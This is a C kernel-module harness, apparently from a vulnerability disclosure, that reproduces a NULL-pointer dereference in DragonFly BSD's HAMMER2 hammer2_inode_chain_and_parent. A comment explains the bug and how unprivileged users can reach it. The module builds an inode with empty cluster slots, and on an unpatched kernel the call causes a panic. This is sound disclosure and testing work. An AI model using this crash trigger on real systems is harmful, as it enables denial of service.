DF-0796 / df0796_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | /* * DF-0796 - NULL deref in hammer2_inode_chain_and_parent * * Deterministic kernel-module harness that reproduces the NULL-pointer * dereference in hammer2_inode.c:hammer2_inode_chain_and_parent(). * * The bug (sys/vfs/hammer2/hammer2_inode.c:436-453): * * hammer2_inode_chain_and_parent(ip, clindex, &parentp, how) * { * for (;;) { * hammer2_spin_sh(&ip->cluster_spin); * if (clindex >= ip->cluster.nchains) * chain = NULL; // <-- NULL (case A) * else * chain = ip->cluster.array[clindex].chain; // <-- may be NULL (case B) * if (chain) { * hammer2_chain_ref(chain); * ...hammer2_chain_lock(chain, how); * } else { * hammer2_spin_unsh(&ip->cluster_spin); * } * * parent = chain->parent; // *** DEREFERENCES chain UNCONDITIONALLY *** * ... * } * } * * When `chain` is NULL the function falls straight through to `chain->parent` * and panics. The HAMMER2 cluster code explicitly permits NULL chain slots * ("interior gaps may remain" -- sys/vfs/hammer2/hammer2_vfsops.c:838), so the * NULL case is a legal runtime state, not a programming error at the caller. * The sibling function hammer2_inode_chain() (hammer2_inode.c:407-427) handles * it correctly (returns NULL), and the caller in hammer2_chain.c:5678-5683 * checks `if (*chainp) return (*chainp)->error;` -- proving the API contract * requires tolerating a NULL return. * * This harness synthesises the exact NULL-cluster-slot state (a hammer2_inode * whose cluster.array[clindex].chain is NULL while clindex < nchains -- i.e. * an interior gap of the kind produced by hammer2_vfsops.c:820-821 when a * cluster slave goes away) and invokes the vulnerable function. On an * unpatched kernel this panics immediately; on a fixed kernel it returns NULL * cleanly. * * Build: see Makefile (KLD module against /usr/src/sys) * Run: kldload ./df0796_harness.ko (as root) * * NOTE on threat model: this is a *reproduction harness* for a DoS-class NULL * deref, not an escalation chain. Loading a module requires root; the bug * itself is reachable in the field from the unprivileged syscall surface once * a gapped HAMMER2 cluster is mounted (multi-volume PFS with a degraded * slave), because the syncer thread and frontend XOPs * (hammer2_synchro.c:417,687 / hammer2_chain.c:5678) call this function on * every inode touched by user I/O. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> #include <vfs/hammer2/hammer2.h> MALLOC_DEFINE(M_DF0796, "df0796", "DF-0796 harness"); static int df0796_modevent(module_t mod, int type, void *data) { hammer2_inode_t *ip; hammer2_chain_t *chain; hammer2_chain_t *parent; int error = 0; switch (type) { case MOD_LOAD: kprintf("DF-0796: loading NULL-cluster-slot harness\n"); /* * Build a minimal fake hammer2_inode whose cluster has an * interior NULL gap at clindex 0 (the exact state left behind * by hammer2_vfsops.c:820-821 when a PFS slave type is set to * HAMMER2_PFSTYPE_NONE but nchains is not trimmed below it * because a higher index is still live). */ ip = kmalloc(sizeof(*ip), M_DF0796, M_WAITOK | M_ZERO); spin_init(&ip->cluster_spin, "df0796h2spin"); ip->cluster.nchains = 2; /* non-zero, so clindex<nchains */ ip->cluster.array[0].chain = NULL; /* interior gap */ ip->cluster.array[1].chain = NULL; /* another gap */ kprintf("DF-0796: invoking hammer2_inode_chain_and_parent on " "inode with NULL chain slot (clindex=0, nchains=2)\n"); kprintf("DF-0796: expect NULL-deref panic at " "hammer2_inode_chain_and_parent+0x.. (chain->parent)\n"); /* * Unpatched kernel: panics inside this call at * parent = chain->parent; (hammer2_inode.c:453) * Fixed kernel: returns NULL cleanly. */ chain = hammer2_inode_chain_and_parent(ip, 0, &parent, HAMMER2_RESOLVE_SHARED); kprintf("DF-0796: SURVIVED -- chain=%p parent=%p " "(bug is fixed or not present)\n", chain, parent); /* If we somehow get here, free our allocation. */ if (chain) { hammer2_chain_unlock(chain); hammer2_chain_drop(chain); } if (parent) { hammer2_chain_unlock(parent); hammer2_chain_drop(parent); } kfree(ip, M_DF0796); break; case MOD_UNLOAD: kprintf("DF-0796: unloading harness\n"); break; default: error = EOPNOTSUPP; break; } return (error); } static moduledata_t df0796_mod = { "df0796_harness", df0796_modevent, NULL }; DECLARE_MODULE(df0796_harness, df0796_mod, SI_SUB_PROTO_IF, SI_ORDER_ANY); MODULE_VERSION(df0796_harness, 1); /* HAMMER2 is built into the kernel (options HAMMER2); its symbols resolve * against the kernel symbol table, so no MODULE_DEPEND is needed and none * would resolve (no hammer2.ko exists). */ |